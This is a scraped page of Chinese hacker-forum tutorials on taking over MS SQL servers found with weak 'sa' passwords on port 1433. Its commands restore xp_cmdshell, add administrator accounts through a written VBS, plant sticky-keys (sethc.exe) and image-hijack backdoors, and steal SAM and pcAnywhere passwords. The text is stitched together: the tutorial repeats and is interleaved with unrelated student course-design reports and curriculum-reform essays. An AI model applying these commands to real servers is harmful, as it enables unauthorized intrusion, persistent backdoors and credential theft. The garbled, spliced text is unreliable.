授渔之<一次1433端口提权的过程>
随着网络安全意识的提高，很多服务器的安全防范都非常严了，本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器，于是研究一段时间，虽然进步不大，但是还是想把经验分享一下，正所谓授人以鱼不如授人以渔，而我现在正是告诉你打鱼的方法，下面就以一台服务器为例了，本例使用工具为SQL TOOLS 2.0，论坛有下，请自行搜索。插播不是广告的广告：该工具集成度高，简单的sql指令无须使用分离器，直接在此工具中执行即可，其文件管理功能非常强大，反正我用着太顺手了，推荐一下，本文原创发布于＝华夏黑客同盟论坛＝（https://www.doczj.com/doc/0218522003.html,）广告完毕。
把扫到的ip和sa及口令填入连接后，用dos命令功能试试列目录
显示错误信息：
Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。
这种情况大家在提权过程中经验遇到啊，它是由于xplog70.dll这个文件被删除或者做了其他限制，导致出现这个错误的
这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用，无法执行命令提权自然就无从说起了，
当然我们还可以考虑其他的存储过程如：sp_oacreate和sp_oamethod来直接添加帐号，或者使用沙盘指令来提权，
但这台服务器，这些功能都被限制了，还是考虑下恢复xplog70.dll了，测试上
传无法成功，这条路走不通了，
这时就考虑用到工具的文件管理功能了
看到了把，和windows的资源管理器一样好用，目录列出来了，搜索一下可以用来提权的东西吧，这里我们首先要去看看
sql的安装路径里的xplog70.dll文件是否存在
看到吧，xplog70.dll文件不见了，被删除了，xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西
d盘下有几个网站和几个论坛，这些都是有用的信息，一旦sql的错误无法恢复的时候，我们就可以考虑通过这些网站
来进行提权了，网站的提权，我就是搞不定，痛苦啊＝＝！！继续搜索
在e盘下竟然有个sql2000的原始安装文件备份，怦然心动的感觉是美妙的，感谢我们亲爱的服务器管理员大人，
看看这是什么＝＝＝＝e:\备份软件\MS Sql 2000\DEVELOPER\X86\BINN\
那我们就开始恢复试试吧，切换到sql命令项，输入指令
exec sp_dropextendedproc 'xp_cmdshell' //这个指令是删除sql数据库的xp_cmdshell的存储过程
接着输入指令，重新加载新路径的存储过程。
dbcc addextendedproc ("xp_cmdshell","e:\备份软件\MS Sql
2000\DEVELOPER\X86\BINN\xplog70.dll")
不用理会下面提示的error Message信息，
再去列目录试试，看看是否成功了
接着当然是net user 添加用户提权了，cmd命令没有被限制，添加成功，忘记
查看下端口了
sql命令：exec master..xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
汗啊～～终端端口竟然被改成52981了，下面去开终端用刚建的帐号登录试试了
授渔之<从1433弱口令到webshell>
前两天给大家做了个1433恢复提权的教程，反响不错，今天再给大家带来个1433提权拿w ebshell的教程。
由于本人对webshell提权属于bc一类，本讲只讲如果通过1433弱口令到拿到webshell，请谅解，本教程无什么技术含量，请高手不要见笑，本实例讲解，原创于=华夏黑客同盟论坛=(https://www.doczj.com/doc/0218522003.html,).
本实例教程使用到的工具：
SQL TOOLS 2.0
Isqlw分离器修正版
某人的小马一只，被我加工过一点^_^
洪儿制作的大马一只，在SQL TOOLS 2.0的工具中填写扫到的ip连接，运行dos列目录命令
提示Error Message:xpsql.cpp: 错误5 来自CreateProcess(第737 行)
这个错误的原因比较复杂，有时是cmd命令被删除，有时是cmd命令的权限被限制，等等原因吧，恢复的可能性很小，具体的，我也没研究透彻，留待以后再探讨了，或者有大牛知道的，告诉我学习一下。
收集下服务器的信息，sql指令输入EXEC xp_msver
服务器是个win2003两核1.5G等相关信息都显示出来了。
下面我们考虑下其他方法，另辟蹊径吧，使用文件管理功能查询个个磁盘下的文件有没有什么可以利用来提权的
有幸在D盘下发现了一个wwwroot的目录，这个目录一般为服务器里存放网站的目录，进去看看了，发现了几个网站
那就去收集下里面网站的信息吧，在目录里的找到了网站的域名等相关信息，网站为a sp+MSsql的网站，下面考虑传个小马到这个网站根目录去。
我传小马的方法，有点特别，我来给你慢慢讲解，由于服务器限制了上传功能，sqltool s的上传功能无法实现，只好考虑通过sql分离器来上传了，这个上传命令很多人曾用来创建用户提权，我试过了，无法提上来，只好另做他用了。
代码：
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.N ETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&https://www.doczj.com/doc/0218522003.html,puterName '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,gro up")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
我的小马就是通过这个写入功能来改造上传的，小马我等下发出来。
废话说了很多了，再说明一点，这个上传需要到的sql的存储过程为sp_oacreate和sp_ oamethod这两个，如果这两个存储过程被禁用了，那就想办法恢复了，恢复的思路和上次教程一样。
提示命令已经完成，我们试试连接小马试试
连接成功，填好上传路径及文件名，下面填好要上传大马的内容
提示yes，那么就是上传成功了连接下大马看看
这样就得到了网站的webshell了，具体怎么提权，会的人应该很容易搞定的，我也正在学习中
本文只是揭示下通过1433的弱口令能做很多事，不能恢复的，我们可以通过其他途径来提权。
我想玩这个脑子要灵活，思路要开阔，菜鸟的菜文就写到这里了。谢谢
授渔之1433弱口令利用shift功能巧妙提权
这是第三次发有关1433弱口令的教程了，前面两次教程也针对1433的修复和提权进行了详细的讲解，今天依然给大家带来一个1433弱口令的提权方法。说是巧妙，其实很多大牛早就在使用了，本教程旨在对初学1433弱口令提权的菜鸟们，高手请无视。
连接弱口令主机
随便运行个dos命令，看到错误提示：Error Message:xpsql.cpp: 错误5 来自CreatePr ocess(第737 行)上一期教程的服务器也是这个错误，我们绕过错误去拿webshell，是寻找服务器上的网站，利用分离器传小马，再传大马。
这期我们就讲下这个错误产生的原因，以及巧妙的修复其实也可以说是绕过他来提权。
错误5是个系统提示的错误号，CreateProcess这个是创建线程的意思，这个错误产生和系统文件cmd.exe有很大的关系，一种情况是cmd被删除，一种是cmd的权限被降低了。(如果我这种说法有什么错误，请高手指出一下，本人理解的是这样)。
去windows\system32目录和sql的安装目录去看看，是否需要的文件都在
cmd.exe存在
odsole70.dll存在，为什么要看这个文件是否存在?因为我们等下要用到的存储过程需要到这个文件。
下面先查看下终端端口及开放情况
sql指令输入
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Contr ol\Terminal Server\WinStations\RDP-Tcp','PortNumber'
返回成功，终端端口为78
打开3389连接命令mstsc连接IP:78 出现登录界面，证明78端口是对外开放的。
好了，下面关键的地方了，要用到两条sql指令，将系统的explorer文件复制为系统的shift 后门文件，下面两条语句为分别执行的，不可以放在一起执行，我是在sql tools 2.0工具里执行的，你也可以在分离器中执行，记得分别执行。
//这条语句将explorer.exe复制为sethc.exe
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
//这条语句将sethc.exe复制到dllcache目录下
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oameth od @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe ';
这个两条语句执行的时间间隔最好不超过10秒钟，否则系统会自动恢复原来的文件。
另外这两条语句使用到的sp_oacreate存储过程需要使用到odsole70.dll 这个文件，所以这个文件的存亡，关系到创建的成功与否。
玩过shift后门的人一眼就看出了，这个是最古老的shift后门创建的方法，教程看到这里估计有一半人要关掉网页了，那么剩下那一半的菜鸟咱们继续交流。走的那些都是高手^ _^
这个部分就不截图了，看返回信息就好
复制好了，我们去连接3389运行shift后门试试
五次shift后，界面弹出了资源管理器。
到windows\system32目录下找到cmd.exe，双击运行试试
说没有合适的权限运行它。在cmd.exe上右键属性，看下安全选项卡
看到system的权限全部都被拒绝了，选择允许完全控制后，点应用，更改cmd的运行权限，ok这样再双击cmd，他就可以被运行了，下面就net user等指令添加用户提权吧。
这时我提示你一下，此时你再去sql tools里运行下dos命令，发现可以正常运行了，说明这个错误Error Message:xpsql.cpp: 错误5 来自CreateProcess(第737 行)产生的原因，就是因为cmd的权限问题了，以后遇到这样的问题，你就知道该怎么处理了。
好了，用刚添加的用户登录下服务器，注意终端端口。
上期教程有人问我，如果服务器上没网站怎么办，其实提权的方式方法多种多样，有时不能用单一的方法就能提权成功，可以考虑多种方法的结合运用。好了，连续三期的1433弱口令的提权方法我就介绍这么多了，等我学习到更多的方法后再和大家分享了。谢谢大家耐心看完本教程。本教程仅做学习交流之用，请不要用于非法用途。
授渔<1433弱口令映像劫持后门快速提权法>
我是华盟shenzhou,这是授渔系列的第四篇了,其实已经很久没玩1433了,今天有个美女发个弱口令给我,我就试试一个新的方法
提权条件:
1.服务器开启了终端端口(终端端口未必是3389,可以自行查询)
2.服务器的粘滞键功能无损,只要可以正常弹出即可
3.服务器未禁止注册表编辑(即写入功能)
罗嗦一句:1433提权没有一种方法是万能,有时要多种方法结合,管理员的安全意识都在提高,现在没有几年前那么单纯的cmdshll就能提起来的了
开始sqltools登录目标服务器:
运行工具的dos命令,发现Error Message:xpsql.cpp: 错误5 来自CreateProcess（第737 行）在以前的授渔课程中说过这是cmd.exe的权限被限制了也提供了绕过的方法,在此不再赘述,请看以前的教程
下面收集下服务器的相关资料和信息,以备提权使用
sql命令查询服务器的版本等相关信息:EXEC xp_msver
由于组件xplog70.dll被删除了,无法显示,下面再看下终端信息
sql命令读取服务器终端端口:exec master..xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-
Tcp','PortNumber'
终端端口为3389,连接测试终端端口,并测试shift粘滞键功能
连接正常,粘滞键测试正常弹出,再去收集下其他信息
c盘下有sql的安装目录,这个可是好东西,以前授渔也讲过请自行查阅
下面这里是这课的核心重点了,请十二万分关注
先发布三条命令
1.sql命令查询注册表粘滞键是否被劫持
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql命令劫持注册表粘滞键功能,替换成任务管理器(当然你也可以替换成你想要的其他命令)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe',
'Debugger','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'
3.sql命令删除注册表粘滞键的劫持功能保护你的服务器不再被他人利用
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options\sethc.exe'
好了,我们替换后查询一下看看是否正确写入注册表了
湖南人文科技学院计算机系 课程设计说明书 课程名称: 软件工程导论 课程代码: 题目: 学生选修课信息管理系统年级/专业/班: 09级计科2班 学生姓名: 赵浩胡碧山文盼聂惠俊杨晨学号: 09408237 ;09408207 ; 09408203; 09408250; 09408214 指导老师: 颜富强 开题时间: 2010年6月5日 完成时间: 2010年6月30日 2010年6月30日
课程设计任务书及成绩评定 课程名称: 软件工程导论 完成者: 赵浩胡碧山文盼聂惠俊杨晨 1、设计的目的与要求 1）加强学生的实践能力； 2）理解小型系统开发的基本步骤； 3）本系统的功能包括：选修课信息查询模块、注册模块、选修课信息管理模块（包括基本的添加、修改、删除功能）。 2、设计进度及完成情况 3、成绩评定 设计成绩：（教师填写） 指导老师：（签字） 2011 年月日
目录 第一章项目开发计划书 (1) 1.1引言 (1) 1.1.1编写目的 (1) 1.1.2背景 (1) 1.2项目概述 (1) 1.2.1工作内容 (1) 1.2.2主要参加人员 (2) 1.2.3产品 (2) 1.2.4服务 (2) 1.2.5验收标准 (2) 1.2.6本计划的批准者和批准日期 (2) 1.3实施计划 (2) 1.3.1工作任务的分配与人员分工 (2) 1.3.2进度 (3) 1.4支持条件 (3) 1.4.1计算机系统支持 (3) 第二章可行性分析 (4) 2.1可行性研究前提 (4) 2.2 对现有系统的分析 (4) 2.3 建议新系统 (4) 2.3.1 新系统说明 (4) 2.3.2 新系统的流程图 (5) 2.4经济上可行性 (5) 2.5技术可行性 (6) 2.6开发工具的选择 (6) 2.7 新系统的影响 (6) 2.8 结论 (6) 第三章需求分析 (7) 3.1市场需求分析 (7) 3.2系统功能性需求分析 (7) 3.2.1 功能划分 (7) 3.2.2 功能描述 (8) 3.2.2.1 学生注册信息模块 (8) 3.2.2.2 课程信息模块 (8) 3.2.2.3学生登录功能模块 (8) 3.2.2.5选课功能模块 (9) 3.2.2.4选修课查询模块 (9) 3.3 系统非功能性需求 (9) 3.3.1 可用性 (9) 3.3.2 可靠性 (9) 3.4数据字典 (9)
WEBSHELL权限提升技巧 c: d: e:..... C:\Documents and Settings\All Users\「开始」菜单\程序\ 看这里能不能跳转，我们从这里可以获取好多有用的信息比如Serv-U的路径， C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 看能否跳转到这个目录，如果行那就最好了，直接下它的CIF文件，破解得到pcAnywhere 密码，登陆 c:\Program Files\serv-u\ C:\WINNT\system32\config\ 下它的SAM，破解密码 c:\winnt\system32\inetsrv\data\ 是erveryone 完全控制，很多时候没作限制，把提升权限的工具上传上去，然后执行 c:\prel C:\Program Files\Java Web Start\ c:\Documents and Settings\ C:\Documents and Settings\All Users\ c:\winnt\system32\inetsrv\data\ c:\Program Files\ c:\Program Files\serv-u\ C:\Program Files\Microsoft SQL Server\ c:\Temp\ c:\mysql\(如果服务器支持PHP） c:\PHP(如果服务器支持PHP） 运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限 还可以用这段代码试提升，好象不是很理想的 如果主机设置很变态，可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat，vbs等木马。 根目录下隐藏autorun.inf C:\PROGRAM FILES\KV2004\ 绑 D:\PROGRAM FILES\RISING\RAV\ C:\Program Files\Real\RealServer\ rar Folder.htt与desktop.ini 将改写的Folder.htt与desktop.ini，还有你的木马或者是VBS或者是什么，放到对方管理员最可能浏览的目录下 replace 替换法捆绑 脚本编写一个启动/关机脚本重起 删SAM 错 CAcls命令 FlashFXP文件夹Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak Ring的权限提升21大法！ 以下全部是本人提权时候的总结很多方法至今没有机会试验也没有成功，但是我是的确看见别人成功过
#include 1433端口提权的过程 随着网络安全意识的提高，很多服务器的安全防范都非常严了，本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器，于是研究一段时间，虽然进步不大，但是还是想把经验分享一下，正所谓授人以鱼不如授人以渔，而我现在正是告诉你打鱼的方法，下面就以一台服务器为例了，本例使用工具为SQL TOOLS 2.0，论坛有下，请自行搜索。插播不是广告的广告：该工具集成度高，简单的sql指令无须使用分离器，直接在此工具中执行即可，其文件管理功能非常强大，反正我用着太顺手了，推荐一下，本文原创发布于＝华夏黑客同盟论坛＝（https://www.doczj.com/doc/0218522003.html,）广告完毕。 把扫到的ip和sa及口令填入连接后，用dos命令功能试试列目录 显示错误信息： Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。 这种情况大家在提权过程中经验遇到啊，它是由于xplog70.dll这个文件被删除或者做了其他限制，导致出现这个错误的 这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用，无法执行命令提权自然就无从说起了， 当然我们还可以考虑其他的存储过程如：sp_oacreate和sp_oamethod来直接添加帐号，或者使用沙盘指令来提权， 但这台服务器，这些功能都被限制了，还是考虑下恢复xplog70.dll了，测试上 传无法成功，这条路走不通了， 这时就考虑用到工具的文件管理功能了 看到了把，和windows的资源管理器一样好用，目录列出来了，搜索一下可以用来提权的东西吧，这里我们首先要去看看 sql的安装路径里的xplog70.dll文件是否存在 看到吧，xplog70.dll文件不见了，被删除了，xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西 前段时间我朋友给我一个sopo的软件，说是扫1433口令的，而且猜解速度很快，我就找个服务器试了试，确实不错能扫到一些比较强点的口令。所以这段时间就玩了一下1433错误的恢复和提权。（有人可能会说了，这有啥好研究的，sa的权限直接加用户到超管不就成了吗。其实在sa权限下还是有很多的问题的大家可以捡有用的看没用的就略过吧） 下面来说sa下执行命令错误的几种情况： 1、无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。原因126（找不到指定模块。） 这种情况比较常见的，修复起来说简单也简单，但是有条件的。这种情况要是能列出目录（用sqltools v2.0就有列目录功能）恭喜你这个有80%的情况能修复了，如果能列目录，那么只要找到xplog70.dll的路径执行以下命令就可以了。 第一步 exec sp_dropextendedproc 'xp_cmdshell' （这个命令就是删除原有的cmdshell，因为已经出错了） 第二步 dbcc addextendedproc （“xp_cmdshell”,“c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll”） ;EXEC sp_configure 'show advanced options', 0 – 当然这是sql命令，用查询分析器执行。第二步里的c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll就是xplog70.dll的路径，这个路径是比较常见的，如果c盘没有可以找找其他盘符。 2、无法在库xpweb70.dll 中找到函数xp_cmdshell。原因：127（找不到指定的程序。） 其实这个跟上面的126是一样的就是cmdshell出错了只要找到备份的xplog70.dll按照上面的方法就能修复了。 3、未能找到存储过程‘masterxpcmdshell' 这种情况我看到网上的方法是： 第一步先删除： drop procedure sp_addextendedproc 选修课程管理系统 一、实验目的 1、使学生掌握DBMS的基本工作原理； 2、培养学生基本掌数据库应用系统设计的基本思路和方法； 3、培养学生分析、解决问题的能力； 二、实验简述 针对给定的系统进行需求分析，设计系统结构图和系统功能模块图；针对需求分析，画出E-R图表示的概念模型，并将其转换为至少满足3NF的关系模式，设计较为合理的数据库模式；系统中应能体现对数据库的保护（数据恢复、并发控制、安全性和完整性）；系统应该有较为友好的用户界面； 通过本系统软件，能帮助教研人员利用计算机，快速方便的对学生选课进行管理、输入、输出、查找的所需操作，使散乱的档案能够具体化，直观化、合理化。 三、课程设计过程 1、需求分析 2、概念结构设计及系统结构设计 3、系统功能实现 3.1需求分析 学生包含学号等属性，通过登记系统保存学生成绩的信息。学生通过分组程序分出个个选修课的学生名单。课程包含课程号，名称等属性。分组信息分出选修课教师，教师包含名称，教师编号属性。 用户通过SQL SERVER 2000 的查询分析器直接输入各种操作代码，其中包括对系统管理原的的创建，管理员可以创建其他管理员权限，当然，系统管理员可以对所有表进行修改，删除，增加。 3.2 概念结构设计及系统结构设计 1..用E-R图设计信息模型 2.设计相应关系模型，确定数据库结构 设计关系模型如下：下划线为关系的码 学生（学号，姓名，地址，邮编，市，省，性别） 教师（教师编号，姓名，电话，工资） 课程（课程编号，课程名，系名，学分） 分组（分组号，教师编号，课程号，学生数） 登记（课程号，组号，学生号，成绩） 3.设计应用系统的系统结构图，确定系统结构 《课程与教学论》课程论文 对我国现阶段基础教育课程改革 理论认识的综述 学院：教育学院 年级：2006级2班 姓名：李晓阳 学号：222006305211063 指导老师：范蔚教授 对我国现阶段基础教育课程改革 理论认识的综述 （李晓阳 222006305211063） 【摘要】自2001年我国教育部启动新一轮的基础教育课程改革以来，已经经历了近八个年头。在这期间，社会各界对新课改给予了广泛的关注与讨论，从政府官员到学生家长，从专家学者到普通教育工作者纷纷献言献策，或总结经验，或积极探索，或针砭时弊，或解读政策。下面，我将就一些近年来关于对新课改的理论认识进行总结概括，希望对现行的课改有所裨益。 关键词：基础教育课程改革理论综述 基础教育课程改革是教育部于2001年启动的一项旨在全面推进素质教育的重大改革，2004年9月,引人注目的普通高中课程改革实验首先在山东、广东、海南、宁夏四个省(自治区)启动。从2006年秋开始,安徽省普通高中起始年级全部进入新课程改革实验,普通高中新课程改革实验省份增加到10个。这些政策的实施标志着我国新一轮的基础教育课程改革正式全面铺开。本次课改的范围之广、力度之大是史无前例的，因此被一些人称作是一场“革命”。既然是一场“革命”，那就要有大动作，要有新气象，要与旧传统泾渭分明。 以下，我将就新课改的原因、目标、特点、具体教学方法现存问题及新的探究进行总结和探讨。 一、基础教育新课程改革的原因 （一）基础教育课程改革的必要性 现阶段，国际竞争日趋激烈，我国正处于社会主义初级阶段，我国的教育与世界一些发达国家相比尚存在一定差距。以我国的基础教育为例，改革开放以来，我国的基础教育取得了辉煌成就，基础教育课程建设也取得了显著成绩。但是，我国基础教育总体水平还不高，原有的基础教育课程还不能完全适应时代发展的需要。我们必须加强基础教育课程改革，从而为培养“四有”新人提供良好的教育环境，增强我国在经济发展中的“科技含量”。 人与自然和谐关系的破坏,还表现在由于工具理性对价值理性的长期压抑,人的精神力量、道德力量削弱甚或消失。因此,本着“人的发展”的理念,当前世界各国普遍进行着课程与教学的改革。就我国而言,课改历经了多年的改革与发展,取得了巨大成就。但与此同时,我国学校课程中应试教育仍然势力强大,传统的知识本位、学科本位并未得以根本性扭转,素质教育不能真正得以落实,与当今时代的发展要求极不适应。 （二）基础教育课程改革的重要性 随着中国社会的发展，公平性、公正性、公开性已逐渐渗透到人们的潜意识中，并对我们的教育提出了新的要求。公平性与素质教育所提倡的全面发展，还学生以自由，与体现主体性思想不谋而合；公开性或开放性原则与教育的不断变化相，追求终身发展理念异同工；公正性原则与考虑学生的差异性，让全体学生有所发展的观念殊途同归。基础课程要跟上时代的步伐，必须与时俱进，探索新的教学方法。 新课程改革不仅是教育改革的必要之举,而且是教育改革制度化、改革行为合法化、增强改革成果有效性、依法治教的必然要求,也是教育政策介入教育实践问题的重大尝试。同时,对课程目标、课程设置、课程评价标准、师生关系等方面做出了相应调整,张显出课程改 授渔之<一次1433端口提权的过程> 随着网络安全意识的提高，很多服务器的安全防范都非常严了，本人对web入侵是一巧不通就只会扫扫1433弱口令的服务器，于是研究一段时间，虽然进步不大，但是还是想把经验分享一下，正所谓授人以鱼不如授人以渔，而我现在正是告诉你打鱼的方法，下面就以一台服务器为例了，本例使用工具为SQL TOOLS 2.0，论坛有下，请自行搜索。插播不是广告的广告：该工具集成度高，简单的sql指令无须使用分离器，直接在此工具中执行即可，其文件管理功能非常强大，反正我用着太顺手了，推荐一下，本文原创发布于＝华夏黑客同盟论坛＝（https://www.doczj.com/doc/0218522003.html,）广告完毕。 把扫到的ip和sa及口令填入连接后，用dos命令功能试试列目录 显示错误信息： Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。 这种情况大家在提权过程中经验遇到啊，它是由于xplog70.dll这个文件被删除或者做了其他限制，导致出现这个错误的 这个错误的直接后果就是sql数据库的xp_cmdshell的存储过程无法使用，无法执行命令提权自然就无从说起了， 当然我们还可以考虑其他的存储过程如：sp_oacreate和sp_oamethod来直接添加帐号，或者使用沙盘指令来提权， 但这台服务器，这些功能都被限制了，还是考虑下恢复xplog70.dll了，测试上 传无法成功，这条路走不通了， 这时就考虑用到工具的文件管理功能了 看到了把，和windows的资源管理器一样好用，目录列出来了，搜索一下可以用来提权的东西吧，这里我们首先要去看看 sql的安装路径里的xplog70.dll文件是否存在 看到吧，xplog70.dll文件不见了，被删除了，xpweb70.dll也被改了名字了-. - 继续搜寻下其他盘看看还有什么东西 课程设计 课程名称大型数据库课程设计 题目名称选修课程管理系统 专业班级10级计算机科学与技术本1学生姓名戴赛跑、汪雨生、杨涛学号510020110 22 37 44指导教师戚晓明(副教授) 二○一二年十二月十二日 目录 摘要 (1) 第一章前言 (2) 1.1题目与要求 (2) 1.2问题的提出 (2) 1.2.1本系统设计的知识点 (2) 1.2.2功能需求 (2) 1.3设计目的 (2) 1.4课程设计的简介 (3) 第二章开发环境 (4) 2.1 系统开发环境 (4) 2.1.1 开发环境的选择 (4) 2.1.2 Visual Studio 2008简介 (4) 2.1.3 SQL server 2008简介 (5) 第三章需求分析 (7) 3.1 设计思想 (7) 3.2 可行性分析 (7) 3.2.1 操作可行性 (7) 3.2.2 技术可行性 (8) 3.2.3 经济可行性 (8) 3.3 功能需求 (8) 3.3.1 基本功能需求 (8) 3.3.2 用户界面需求 (9) 3.4 性能需求 (9) 3.4.1 系统可扩展性 (9) 3.5 系统设计基础 (9) 3.6模块分析及设计 (10) 第四章数据库的设计说明 (11) 4.1数据表 (11) 4.2数据库的完整性和安全性 (11) 4.3选修课数据库的设计 (12) 4.3.1建立一个选修课程数据库： (12) 4.3.2建立一个学生student表 (12) 4.3.3建立一个登录t_login表 (13) 第五章系统功能的实现 (16) 5.1 系统登录窗体 (16) 5.2学生操作主界面 (18) 5.2.1选修课程的选修 (18) 5.2.2退选功能 (19) 5.2.3密码修改 (20) 5.3教师操作主界面 (21) 5.3.1 录入学生选修课程的成绩 (21) 5.3.2 增加选修课程 (22) 5.3.3 删除选修课程信息 (23) 5.3.4 修改选修课程基本信息 (25) 5.4注销和退出 (26) 5.4.1注销 (26) 5.4.2 退出 (27) 总结 (29) 致谢 (32) 参考文献 (33) 关于新高考方案下普通高中教育教学改革的思 考 Document number：BGCG-0857-BTDO-0089-2022 关于新高考方案下普通高中 教育教学改革的思考 2016年自治区人民政府、自治区教育厅发布了《广西关于深化考试招生制度改革的实施方案》和《广西普通高中学业水平考试实施办法》，两个文件确立了我区新的高校考试制度基本框架，。如何抓住这一改革发展的契机，认真总结经验，突出问题导向，进而形成深化普通高中课程改革的新思路和新举措，是当前每位校长、学校管理层和教师必须认真思考和回答的问题。 一、新高考制度下普通高中课程建设的主要问题分析 普通高中课程改革以来，课程改革措施各具特点，但基本处在学校课程的顶层设计实施阶段，新高考方案下普通高中教育教学改革的将高中课改深层次的问题进一步凸显出来；同时，也为高中学校的个性化、多样化发展提供了良好的契机。 在新高考制度下，普通高中课程建设应主要围绕以下六大问题展开： 一是对学校课程改革价值功能的重新审视。真正实现从分数唯一到以学生发展为本的转变，意味着对考试文化的根本性突破。 二是在行政班基础上，推进必修课程全面而实质性的走班制。 三是新高考方案赋予学生前所未有的考试选择权，要求学生必须学会选择、规划人生；同时对教学实施和学生管理也提出了新的更高的要求。 四是考试内容和考试重点的转变，要求学科课程不仅要关注学生的基础知识和基本技能，还要关注社会实际和学生的生活经验，关注学生的创新精神和实践能力。课程结构的重组将带来教师专业结构和数量的变化。 五是新高考方案中把高中学业水平考试成绩作为高校录取新学生的依据和把学生综合素质评价作为高校录取新生的重要参考，分数不再是唯一的招生录取依据，考试的区分度降低，如何实施真实有效公正的学生综合素质评价，成为学校必须研究的重要议题。 六是在进一步加大学校自主排课权的情况下，不同层次、不同类型的学校如何建构符合本校实际的课程推进模式和方式，从而进一步形成个性化的办学特色。 另外，学校教学的具体安排也面临诸多新问题。如有些学校没有看到新高考方案的实施是一个系统工程，所以将其窄化为排课表等教务工作，在一些具体问题上产生纠结；学校为应对学生选定的高考科目，在课程设计上出现偏科，在教学上甚至重新回到唯分数论的老路上，实施新的教育教学模式，我校也面临办学条件严重不足的问题出现等。 以上问题都是我校改革前进中的问题，分析和把握这些问题的目的在于围绕主题、聚焦问题、交流研讨、才会取得共识。 二、应统筹设计与实施课程体系的思路和对策 学校课程体系的统筹设计与实施是推进新高考方案落到实处的关键，当务之急是围绕主题，聚焦问题，研究可行的解决方案。以下五方面的问题是我们当前必须思考和认真解决的。 高中课程改革通识问答 一、封面设计：32开本，黄色，样本见下。 二、扉页“编写说明”： 2005年9月开始，我省普通高中高一年级，将整体进入新课程实验。这对我们广大师生来说，无疑是一场严峻的挑战。为使学校教师和学生对新课程有比较清晰的认识，真正从思想上精神上为实施新课程改革作好充分准备，尤其是帮助高一学生学会选择“学习模块”，我们组织力量编写了小册子《高中课程改革通识问答》。 本书针对高中新课程改革这一中心主题，采用“问答”的方式， 简明扼要地介绍了课程改革的重要意义、本次课程改革的特点和突出变化、新课程实施的基本原则和关键、课程结构与内容、如何开设选修课、学生怎样选择、新课程的管理和发展性评价体系等内容。本书重点突出，通俗易懂，具有较强的指导性，是高中教师和所有学生进入新课程的启蒙读物，具有重要的参考价值。 本书在编写过程中得到分管局长权威性指点，基教科和教研室的同志参与具体编制，基教科科长亲自审定。由于时间仓促，还难免有疏漏和不当之处，敬请读者批评指正。谢谢。 编者 二00五年八月十五日 1、高中新课程改革有什么重要意义？ 答：我省今年9月1日开始，高中将全面进入新课程实验。这是一个新生事物。新课程改革的重要意义在于：实施跨世纪素质教育工程，整体推进素质教育，全面提高国民素质和民族创新能力。这是一种政府行为。 2、高中课程改革主要体现在哪些方面？ 答：用一句话简要概括，就是改革课程体系、课程结构和课程内容。 3、高中教育培养目标强调什么？ 答：强调培养什么样的人，人的素质可以简单概括为“两个传统”、“三种观念”、“三种素养”、“四种能力”、“四种意识”、“四项基本要求”。 “两个传统”即有中华民族的优秀传统和革命传统。 “三种主义”即爱国主义、集体主义、社会主义。 “三个观念”即世界观、人生观、价值观。 “三种素养”即科学素养、人文素养和心理素养。 “四种能力”即创新能力、时间能力、人生规划能力和交往合作能力。 “四种意识”即民主法制意识、终身学习意识、公民意识和 关于mysql提权方法总结 mysql是一种开放源代码的关系型数据库管理系统（rdbms），mysql数据库系统使用 最常用的数据库管理语言--结构化查询语言（sql）进行数据库管理。那么对于mysql提权的方法，站长们是否了解呢？专职优化、域名注册、网站空间、虚拟主机、服务器托管、vps 主机、服务器租用的中国信息港在这里为你做深入探讨！ 